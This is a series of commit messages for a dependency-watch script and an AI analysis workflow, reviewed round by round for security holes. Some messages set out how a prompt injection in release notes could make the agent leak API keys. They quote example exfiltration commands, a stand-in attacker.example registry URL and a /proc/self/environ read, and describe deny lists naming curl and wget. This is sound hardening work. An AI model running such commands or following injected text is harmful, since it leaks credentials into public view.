* fix: teach sdk-watch the `app/` author spelling so suppression works again
`normalizeLogin` lowercased a login and stripped a trailing `[bot]`, but the
installed `gh` reports this account as `app/github-actions` from
`gh issue list --json author`. The `app/` prefix survived, so
`isSweepAuthored()` returned false for every issue the sweep itself wrote, the
marker was never trusted, and the re-file check found nothing to suppress
against. The sweep filed the same ext-apps 2.0.0 issue three nights running
(#2325, #2332, #2348) before anyone noticed by hand.
The same predicate gates analysis-retry suppression and supersession notes, so
both were affected too — an analyzed issue could be re-queued for a fresh Opus
run every night.
Strip the prefix alongside the suffix. That widens nothing an outsider can
claim: `/` is not legal in a GitHub username, so no human account can normalize
onto `github-actions`, and the labels half of the check (`chore` +
`dependencies`, both write-access-only) is independent regardless.
Because the failure mode is silence, also guard the class rather than only its
instance: `sweepIssues` now reports any issue carrying this sweep's marker AND
its write-access-only labels whose author does not normalize onto
`AUTOMATION_LOGIN`. That combination cannot be produced by an outsider, and it
is exactly the signature a fourth spelling would present. It warns rather than
throws, so a cosmetic upstream rename does not take the nightly sweep down.
Tests cover all three known spellings plus a mixed-case form, five near-miss
logins that must stay rejected, and both halves of the split predicate.
Closes#2377
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Signed-off-by: cliffhall <cliff@futurescale.com>
* chore(release): bump version to 2.7.0
Step 1 of the v2.7.0 release. The bump goes on `v2/main` before the milestone
merge (#2010), so the release lands on `main` with the version already correct
and `v2/main` is never left behind `main`.
`npm version minor --no-git-tag-version` — no tag here deliberately. The release
tag has to point at the merge commit on `main`, so tagging on `v2/main` would
create a tag on a commit that is never released.
`npm audit --audit-level=high` was run first across all five installs (root,
web, cli, tui, launcher) and reported zero vulnerabilities at every severity —
info through critical — so the bump sits on a tree that was checked and no audit
fixes were forced.
Closes#2378
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Signed-off-by: cliffhall <cliff@futurescale.com>
* test: cover the drift guard through main(), not only as a unit (#2379 review)
`warnOnUnrecognizedAuthors` was unit-tested, but its call from `sweepIssues`
was not: deleting that line left all 65 tests green. So the guard against a
silent normalization drift could itself have become disconnected silently —
the exact failure mode it exists to prevent.
Two main-level cases, driven through the injected spawn:
- an issue carrying our marker and our write-access-only labels whose author is
`apps/github-actions` (a spelling `normalizeLogin` has never seen) must
produce the warning, and the refile it causes is asserted alongside it so the
test shows the consequence rather than only the message;
- the three readable spellings must produce no warning AND must suppress the
refile, because a guard that fires on the ordinary path is noise.
Deleting the `sweepIssues` call now fails 1 test rather than 0, and restoring
the original `app/` bug fails 5 rather than 4.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Signed-off-by: cliffhall <cliff@futurescale.com>
---------
Signed-off-by: cliffhall <cliff@futurescale.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
#2358 bumped `@modelcontextprotocol/ext-apps` from `^1.7.4` to `^2.0.0`,
leaving two comments in `scripts/sdk-watch.mjs` still describing the
current install as `^1.7.4` and illustrating the "compare the installed
version, not the declared range" mechanism with a 1.8.0 target.
Both now describe the mechanism in terms of "a caret range" and "a patch
or minor ahead within the same major" rather than any concrete version,
so the example cannot go stale on the next bump. Comments only; the
1.7.4/1.7.5 fixtures in `sdk-watch.test.mjs` are test data for the
comparison logic and are untouched.
Closes#2359
Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PsmUAZ6aLUAFqenjJKSSRp
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings. The first ends a pattern rather than patching it again.
1. The tool grants did not enforce the boundary they claimed, for two
reasons. `--allowedTools` only PRE-APPROVES; `--tools` is what
restricts availability — a distinction this repo had already learned
and written down in `scripts/skill-eval.mjs`, and which I failed to
apply here. And a `Bash(...)` rule can match a COMPOUND command
(`gh release view … && curl …`), so the denials could be walked past.
That is the fourth grant in this review whose real surface was wider
than it looked, after `gh api`, `gh issue comment --body-file` and
`npm view --registry`. Each fix scoped the command and left something
else open, so this one removes the capability instead: THE MODEL NOW
HAS NO BASH AT ALL.
Upstream release notes are prefetched by a deterministic `run:` step
into `upstream-release-notes.md` (the 30 most recent releases via
`gh api`), and the prompt points the model at that file and tells it
to say so plainly if the range it needs is absent. Verified against
the real ext-apps releases API. The model's tools are now
`--tools "Read,Grep,Glob"` for availability, the same three in
`--allowedTools` so no headless run stalls on an unanswerable prompt,
and `--disallowedTools` naming Bash and the write/network tools as a
third layer — the same three-part shape `skill-eval.mjs` uses.
2. The security documentation asserted something false. `sweep` inherits
`issues: write` because filing issues is its purpose, so "the ONLY job
holding a token that can write" was never true. Both AGENTS.md and the
workflow comment now state the actual invariant: NO MODEL RUNS IN A
WRITE-CAPABLE JOB. Two of three jobs write; neither runs a model.
The test changed with it, and this is the substantive half: it was
asserting `analyze.permissions === {contents: read}`, which is one
job's slice and would have passed happily if someone added a model
step to `post`. It now iterates EVERY job and, for each that runs
`claude-code-action`, asserts no write scope and no posting step —
falling back to the inherited top-level permissions, so an omitted
`permissions:` block fails rather than defaulting silently.
3. (Suppressed.) The generated checklist told maintainers to edit
`package.json` unconditionally, which is wrong for the one case this
script models separately: `ext-apps` is `^1.7.4`, which already admits
a 1.8.0 target, so only the lockfile moves. `needsManifestEdit` now
selects the checklist items by asking whether each behind row's
declared range admits the target — exact pins need the edit, satisfied
ranges do not, and an unparseable declaration errs toward asking for a
look.
4. (Suppressed.) The `post` job comment carried the same false claim as
finding 2; corrected in the same change.
Mutation-checked, each failing a different set:
needsManifestEdit -> true -> its unit test + the ext-apps body test
--tools line deleted -> the tool-availability test
61 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings. Two are trust-boundary bugs on a public repo; two are the
same class of grant mistake I had already made twice.
1. (Suppressed finding.) `Bash(npm view:*)` was an outbound channel. npm
accepts `--registry=<arbitrary URL>`, and a Bash grant matches a
command PREFIX and constrains nothing after it, so
`npm view x --registry=https://attacker.example/<encoded secret>`
matched the grant. Nothing is published to the issue, so the verbatim
output scan cannot see it at all.
That is the third instance of one mistake in this review — scoping the
command and leaving the flags unbounded — after `Bash(gh api:*)` in
round 1 and `--body-file /proc/self/environ` in round 3. The grant is
removed (the prompt is handed both versions and takes release notes
from `gh release view`), `Bash(npm:*)` joins the deny list, and the
general rule is now in AGENTS.md rather than three war stories: a
prefix grant constrains the command, never its flags.
2. The model's job held `issues: write`. Permissions are scoped per JOB,
not per step, so my round-3 claim that the model only ever saw a
`contents: read` token was false while the posting step shared its
job. Split into three: `sweep`, `analyze` (`contents: read`, runs the
model), `post` (`issues: write`, runs no model).
The hand-off is an ARTIFACT rather than a job output, because matrix
job outputs collide — every leg writes the same key — which would post
one SDK group's write-up onto the other group's issue. A failed
analysis leg uploads nothing, which is not fatal: the download is
`continue-on-error` and the post is gated on the file existing, and
the issue then lands in exactly the un-analyzed state the round-2
retry path picks up.
3. Issue markers were trusted without provenance. This repo is public, so
anyone can open an issue whose body starts with the current target's
marker — and close it — to suppress the real upgrade issue
indefinitely, or use a malformed target to throw in `semver.lt` every
run. `sweepIssues` now requires BOTH the automation author (with the
`[bot]` suffix normalized, since gh and the REST API spell it
differently) and the `chore` + `dependencies` labels an outsider
cannot set. Marker targets are validated with `semver.valid`.
4. Comment markers had the same gap, and my round-3 fix had addressed the
wrong layer: it stopped splitting comments on newlines but still
reduced each to its body, discarding the only field that makes a
marker mean anything. `issueComments` now returns `{author, isBot,
body}`, and both consumers require the automation — so a forged
analysis marker no longer suppresses the retry and a forged
supersession marker no longer suppresses the note. Being a bot is not
enough; it has to be ours.
The test fake mattered more than the assertions here: comment fixtures
were plain strings, so every one was implicitly automation-authored
and no test could have expressed a forgery at all.
Two workflow invariants are now pinned by tests, since both are the kind
of thing a later edit undoes by accident: the `analyze` job's permissions
are exactly `contents: read` with no posting step, and the `--allowedTools`
whitelist mentions none of npm, curl, wget, WebFetch or WebSearch.
Mutation-checked, each failing a different set:
isSweepAuthored -> true -> 3 tests (unit + 2 e2e)
isAutomationComment -> true -> 3 tests (unit + 2 e2e)
semver.valid filter removed -> 1 test
Bash(npm view:*) restored -> 1 test
issues: write re-added to analyze -> 1 test
58 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Four findings, including one suppressed. Three fixed outright; the
fourth is fixed as far as this PR can reach, with the remainder tracked
in #2269 rather than papered over.
1. (Suppressed finding, and the most consequential.) The comment lookup
was `gh api --jq '.[].body'` split on newlines, which destroyed the
comment boundaries — a body is multi-line, so every LINE became its
own entry. Both consumers read a line as though it were a whole
comment and both use `startsWith`, so a maintainer quoting
`<!-- sdk-watch:analysis -->` at the start of any line would have
permanently convinced the sweep that issue was analyzed, and the retry
added in round 2 would never fire for it again. The same held for the
supersession marker.
`issueComments` now fetches `--paginate --slurp` and parses JSON,
mapping whole `body` strings. The test fake was part of the problem —
it returned newline-joined text, which made the broken parse look
correct because it could never produce a multi-line body — so it now
returns the real wire shape, an array of pages of comment objects.
Note the round-2 test written for this class checked INLINE quoting
and passed. The unit was correct; the transport feeding it was not.
2. A CLOSED matching issue was being re-queued for analysis. Two
different questions about the same match had been collapsed into one:
whether it suppresses creation (yes, whatever its state — that is why
`sweepIssues` reads `--state all`) and whether it should be
re-analyzed (only if open). A closed issue has no analysis marker
almost by definition, so it was handed to the analyze job and would
have drawn a fresh automated comment nightly, re-arguing the "not
planned" decision that `--state all` exists to respect. Gated on
`match.state === "OPEN"`, with the closed case logged rather than
passed over in silence.
3. The docs contradicted the code in three places — AGENTS.md, the
workflow header and `formatFiledOutput` all still said analysis runs
only for newly created issues. All three now describe the same rule,
including both exclusions and why they differ: an already-analyzed
issue is excluded to avoid a nightly duplicate, a closed one because
closing it was a decision.
4. The model retains a secret-exfiltration path: `claude-code-action`
copies its environment into the model's, `Read` is genuinely needed to
inspect how `core/` uses the SDK, and `analysis` is model-controlled
text this workflow publishes. Removing the write-capable `gh` tools
closed the posting channel, not the output channel.
Landed here as a BACKSTOP, and labelled as one in the workflow so it
is not read as settled: the posting step refuses any analysis
containing ANTHROPIC_API_KEY or the job's GITHUB_TOKEN verbatim,
matched with shell pattern matching so no secret reaches an argv. An
injection that encodes the value defeats it.
The real fix is workload identity federation
(`anthropic_federation_rule_id` + `id-token: write`, and no
`anthropic_api_key` at all), which needs an Anthropic-side federation
rule and org UUID that do not exist and cannot be created from a pull
request. Filed as #2269 with the exact YAML change and acceptance
criteria, boarded at Todo/Medium in v2.6.0. AGENTS.md and the workflow
both point at it rather than describing this job as secure.
Mutation-checked, each failing exactly one test:
newline splitting restored -> the multi-line-comment test
`state === "OPEN"` guard removed -> the closed-issue test
49 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Three findings, all real. The first is a security hole introduced by
round 1's own fix.
1. The analysis job could have published live secrets. Round 1 pinned
`Bash(gh issue comment <N>:*)` to the tracked issue and treated that
as scoping, but a `Bash(...)` grant matches a command PREFIX and says
nothing about the flags that follow — so
`gh issue comment <N> --body-file /proc/self/environ` matched it, and
this job's subprocess environment holds ANTHROPIC_API_KEY and
GITHUB_TOKEN. A prompt injection from upstream release notes could
have posted live credentials into a public issue.
The model now has no tool that can write anywhere. It returns its
write-up as `--json-schema` structured output, and a deterministic,
model-free step posts it: the body arrives through the environment
rather than the command line, so nothing in it can be read as a flag
or a path, and the issue number comes from the matrix. That step is
the only thing in the job holding a token that can write.
WebFetch is denied as well. It was not raised, but with `Read`
available an outbound fetch the model controls is the same
exfiltration channel by another route; `gh release view` already
covered the need. The remaining grant is read-only and accepts no
attacker-chosen file path.
The general rule is now in AGENTS.md rather than only this instance:
a prefix grant on any command that accepts a file path is an
arbitrary-file read with a publish attached.
2. Issue existence was standing in for analysis completion. A failed or
timed-out `analyze` job left an issue the next sweep matched, emitted
`[]` for, and reported as a green no-op — so the promised analysis was
never retried. The posting step now stamps ANALYSIS_MARKER on its
comment, and a sweep finding an existing issue without one re-queues
it. The marker is matched with `startsWith`, so a maintainer quoting
it cannot suppress the retry.
3. A failed supersession note was unrecoverable. Creation succeeding and
the note failing left a state where every retry matched the target's
own marker and skipped reconciliation entirely, so the note was never
posted. An existing issue is now ADOPTED rather than skipped: the loop
takes its number and runs the same follow-up it would for a new one.
The existing announced-marker check prevents duplication, and a
`stale.number === number` guard stops an issue superseding itself.
Findings 2 and 3 share one restructure — replacing the early `continue`
with adoption is what gives both the retry path.
ANALYSIS_MARKER is necessarily duplicated in the workflow, since the
posting step is shell. Drift would be invisible from either file alone
and would make every issue read as permanently unanalyzed, so a test
asserts the workflow contains the exact constant.
Mutation-checked, each failing a different minimal set:
if (match) continue; restored -> supersession-retry + re-queue tests
hasAnalysis -> always true -> re-queue + hasAnalysis tests
workflow marker misspelled -> the drift-guard test
47 tests in this file; `npm run local:gate` green end to end.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Three findings, all real, all fixed.
1. The analysis job's tool grant was too broad. `Bash(gh api:*)` against a
token holding `issues: write` would have let an injected instruction
PATCH, close or relabel any issue in the repo — and this agent reads
untrusted upstream release notes by design, so the prose constraints
in the prompt are not a control. `gh api` is gone; the two
mutating-capable commands are pinned to the matrix issue by NUMBER, so
a call against any other issue does not match the prefix and is
denied. `--disallowedTools` now names the file-writing tools and
`git`/`gh pr`/`gh issue edit`/`gh issue close` explicitly, so a later
edit that widens the whitelist cannot silently restore them. The
prompt states the exact command shape the grant permits.
2. Targeting the highest `latest` in a lockstep group was wrong in both
directions. npm publishes a release one package at a time, so a sweep
landing mid-publish would have told maintainers to move all four
packages to a version three of them do not have — and written a
marker for that version, which would then suppress the real filing
once the publication completed, so the release would never be tracked
at all. The target is now the LOWEST `latest` across the group: the
newest version the whole group has actually reached. That stays
actionable during a partial publish (on 2.0.0 it files 2.1.0 rather
than going silent), waits correctly when only the in-flight half is
ahead, and produces a different marker when the publish completes so
the real release gets its own issue. The body explains itself when a
`Latest` in the table sits above the target.
3. A failure after an irreversible issue creation lost the issue. The
sweep exited before emitting `filed`, so the issue never reached the
analysis job — and the next night's retry would match its own marker,
emit `[]`, and leave it permanently unanalyzed with nothing left to
notice. Each group is now isolated, `filed` is appended the moment an
issue exists, and the emit happens in a `finally`. The run still fails
afterwards, loudly, but never at the cost of the record. The analyze
job's gate changed to match: it consumes `filed` whenever the sweep
named something, whether or not the sweep job itself went green.
Fixing 3 exposed a second instance of the bug CI caught earlier: the
test helper passed `output: undefined` to suppress the emit, but a
destructuring default fires on `undefined`, so it selected
`process.env.GITHUB_OUTPUT` instead of overriding it. Once the emit moved
into a `finally`, the throwing cases reached it and leaked a real
`filed=[]` into the runner's job-output file. The helper now passes
`null`, which suppresses a default and is falsy. Verified by running the
suite with `GITHUB_OUTPUT` set and confirming no file is created.
Test fixtures that bumped a single package's `latest` were modeling a
partial publication without meaning to, so `groupAt`/`latestAt` now make
"completed lockstep release" and "publication in flight" separate,
named cases. 42 tests in this file, 580 across `scripts/`, green with
the runner's environment set and unset.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Staying abreast of SDK releases — OAuth especially — was a habit rather
than a mechanism. This adds the third of this repo's issue-filing sweeps,
after the monthly dependency refresh (#2229) and the daily Dependabot
alert sweep (#2233), following the same shape as both:
npm registry -> sweep -> issue -> Opus analysis comment -> maintainer PR
scripts/sdk-watch.mjs compares the @modelcontextprotocol/* packages
installed on v2/main against the registry and files one tracking issue
per upstream that is behind — labeled v2 + chore + dependencies, and
milestoned to the nearest dated open bucket.
Four design points, each verified against this repo first:
* Two upstreams, two issues. client/core/server/server-legacy ship
from typescript-sdk in lockstep; ext-apps ships from its own repo.
* The comparison is against the INSTALLED version, not the declared
range. ext-apps is `^1.7.4` with 1.7.5 already in the lockfile, so
comparing the declared string would file an issue for a bump
`npm install` has already taken.
* A fifth @modelcontextprotocol/* package added to the root manifest
and not added to SDK_GROUPS fails the sweep loudly, rather than
going unwatched behind a green run.
* No board write and no issue closing. No PROJECT_TOKEN exists in
this org, so the issue arrives labeled and milestoned for
/issue-triage to board — as dependency-refresh.mjs already does. A
further release files its own issue and leaves a supersession
comment on the older one; closing stays a maintainer act.
The analysis half runs Claude, not Copilot. #1063 sketched "a copilot
agent running Opus", and neither half of that is reachable from a
workflow: assigning copilot-swe-agent produces a pull request — the
artifact #2229/#2233/#2235 removed from this repo — and its model cannot
be selected programmatically, since replaceActorsForAssignable takes no
model parameter. So the analyze job uses anthropics/claude-code-action
with --model claude-opus-5, told to post one comment and denied every
file-writing tool, running on the ANTHROPIC_API_KEY org secret. It runs
only over issues the sweep just created, which holds it to one analysis
per release rather than a near-identical comment every night.
Upstream release notes are untrusted input to that job, so its system
prompt says so and its --allowedTools list is a whitelist with no Edit,
Write or git; the job's token carries contents: read only.
36 tests cover the pure halves directly and main() through an injected
spawn, with the silent-failure cases first: a registry error must not
report a clean sweep, and an already-filed target must not refile.
Closes#1063
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
Cliff Hall